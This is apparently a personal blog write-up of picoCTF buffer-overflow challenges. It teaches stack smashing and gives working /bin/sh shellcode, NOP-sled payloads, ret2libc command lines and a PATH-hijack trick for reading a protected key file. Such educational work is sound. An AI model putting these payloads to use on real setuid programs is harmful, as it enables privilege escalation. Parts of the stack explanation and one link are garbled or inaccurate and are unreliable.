Buffer Overflows - The Basics

Recently I competed in picoCTF, a hacker CTF game, and thought I would share some of my solutions. The first of which, is how I did the buffer overflow(s). (for those that don't know, CTF consists of 'flags' which are special strings that you get by exploiting vulnerabilities in programs).

Lets start with what a basic vulnerable application would look like.

 void function(char *str) {  
   char buffer[16];  
   strcpy(buffer,str);  
 }  

Now lets say we give that function a string which is longer than 16 characters. Instead of throwing an exception, it will happily write those bytes to the stack.

The Stack:
The stack is basically the program in memory (a continuous chunk). Here's how it looks (remember stacks are last in first out).
[      return address         ] <-- this is the address of the next funciton to call, we want to overwrite this
[         eip (address)        ] <-- this takes up memory we want to overwrite this
[       stack variable         ] <-- this takes up memory
[          buffer[15]           ] <-- this is the 16th character of our input string
[                 ...                 ]
[          buffer[0]             ] <-- our input starts here


So the idea behind a buffer overflow, is to overflow the buffer:
(input: 'AAAA...AAAAEXECUTESHELLCODE')


[           get shell              ] <-- this is the secret sauce
[        0x41414141          ] <-- overwrite garbage
[       0x41414141           ] <-- overwrite garbage
[          0x41414141        ] <-- 4 letter 'A's
[                 ...                  ]
[          0x41414141        ] <-- buffer starts here

Now, before we get to the secret sauce, lets first understand how were gonna write those 'A' to the buffer.

 ./buffer_overflow $(python -c 'print "A"*28')  

I use python, but you can use other languages too.

Ok, so now we have a bunch of A's on the stack. But how do we know how many we need?
To be honest, I'm not super sure. I know that its a multiple of 4 plus the buffer size (in this case 16). You can guess and check, but for me its usually buffer size + 12 bytes (12 A's). Sometimes you don't know how large the buffer is (eg. no source code). In this case, just put in a lot of A's until your at the sweet spot between Segmentation Fault, and proper execution. (ps, this could be over 1000 so guess wisely).

Alright, now we have overflowed the buffer with A's , lets look at the secret sauce.
shellcode (examples). For picoCTF, we were given shellcode, but that's not always the case.
Here is the shellcode given to us (in hex):

 00000000 31 c0 f7 e9 50 68 2f 2f 73 68 68 2f 62 69 6e 89 |1...Ph//shh/bin.|  
 00000010 e3 50 68 2d 70 69 69 89 e6 50 56 53 89 e1 b0 0b |.Ph-pii..PVS....|  
 00000020 cd 80                       |..|  

When this piece of code gets executed, we get a shell. We want a shell to spawn because usually the SUID of the binary is set to a privileged user, which allows use to read flags from the disk.
The way you add this shellcode (below is a different shellcode) to your buffer overflow, is to add it to an environment variable:

 export EXPLOIT=$(python -c 'print "\x90"*1000+"\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"')  

Notice the "\x90". This is a NOP (no operation) sled, which basically means that it gets skipped over as meaningless code (From what I understand, the NOP allows the memory address to be off by a bit and it will still work).

Then to find its memory address we have a small C program:

 #include <stdio.h>  
 #include <stdlib.h>  
 int main(int argc, char **argv) {  
 printf("\n%p\n\n", getenv("EXPLOIT"));  
 return(0);  
 }  

If you're on a 64 bit machine it may come out as more than 4 bytes. This means you need to re-compile the C program with the '-m32' flag (makes it 32 bit). (gcc -m32 -o tester tester.c)

You should now have an address like this: 0xbffff688

So now, instead of giving it shellcode directly, we can give the program the address of it in memory.
Addresses are represented in little endian so we write them backwards. The code looks like this:

 ./buffer_overflow $(python -c 'print "A"*28+"\x88\xf6\xff\xbf")  

Notice how it was reversed, in 1 byte chunks (2 digits). Also notice how python lets us write the arbitrary hex values using the escape sequence "\x00". (you can usually also just write the address a ton of times, eg: "\x88\xf6\xff\xbf"*200)

That pretty much covers the basics of buffer overflows, stay tuned for a ROP tutorial (Return Oriented Programming) which can also be used to solve buffer overflow problems.

SPOILER ALERT:
The solution to picoCTF overflow 3 (has elements of ROP):

                                     (overflow) (address of 'shell' function-found with gdb) 
 ./buffer_overflow $(python -c 'print "A"*76   +  "\xf8\x85\x04\x08"')  

and overflow 4:

                         (put shellcode on stack)               (filler)  (the pointer to shellcode - shown in stack trace)  
 ./buffer_overflow_shellcode $(cat shellcode)$(python -c'print "BB"+"A"*40+"\x40\xd5\xff\xff"')  

(alternate solution if not given stack trace):

 export EXPLOIT=$(python -c "print '\x90'*1000")$(cat shellcode)  
 (run environment program above to get its address: 0xffffd433 - Assumes no ASLR)  
 ./buffer_overflow_shellcode $(python -c "print '\x33\xd4\xff\xff'*200")  

and overflow 5 (non-executable memory):

                                                      (overflow) (<system>)     (called) ('/bin/sh' from environment)  
 ./buffer_overflow_shellcode_hard $(python -c 'print "A"*1036+"\x50\x82\xe6\xf7"+"sh;#" +  "\x11\xd8\xff\xff"')  

(Note, the address for '/bin/sh' from gdb was 0xffffd80f and wasn't working, so I just played with the address (increased by 1, then 1 more) until it worked - note also that I used gdb instead of the normal dump program above, as the address was different. This is because the stack got modified slightly during execution (out of our control). The <system> comes from ROP (found with gdb), so stay tuned for more info on that).
gdb looked like this:

 (gdb) break main  
 (gdb) run  
 (gdb) x/s *((char **)environ)  
 0xffffd805:      "EXPLOIT=/bin/sh"  
 (gdb) x/s 0xffffd80d  
 0xffffd80d:      "/bin/sh"  

Update:
Getting environment variables does not always work (ie. overflow 5) so I came up with an alternate solution, using PATH and a string from the binary. Here is what the process looks like:

 mkdir cmd  
 cd cmd  
 echo "cat /problems/stack_overflow_5_0353c1a83cb2fa0d/key" > a  
 chmod +x a  
 export PATH=/home2/user1792/cmd:$PATH  
 cd /problems/stack_overflow_5_0353c1a83cb2fa0d  
 gdb buffer_overflow_shellcode_hard  
 (gdb) break main  
 (gdb) run  
 (gdb) find &system,+999999,"a"  
 >> 0xf7e9e6ab #this is the address we will use  
 >> 0xf7f0fb8e <setpriority+14>  
 >> (cont.)  
                                                     (fill)    (system)          (junk)    ("a" address)
 ./buffer_overflow_shellcode_hard $(python -c 'print "A"*1036+"\x50\x82\xe6\xf7"+"AAAA" +"\xab\xe6\xe9\xf7"')  

Here are some good sources for more information on buffer overflows:
http://insecure.org0xffffd7f0/stf/smashstack.html
http://security.stackexchange.com/questions/13194/finding-environment-variables-with-gdb-to-exploit-a-buffer-overflow
http://www.lopisec.com/2011/12/smashthestack-io-level-5-writing-my.html
http://raidersec.blogspot.com/2012/10/smash-stack-io-level-3-writeup.html
http://key-basher.blogspot.com/2013/04/smash-stack-level-5.html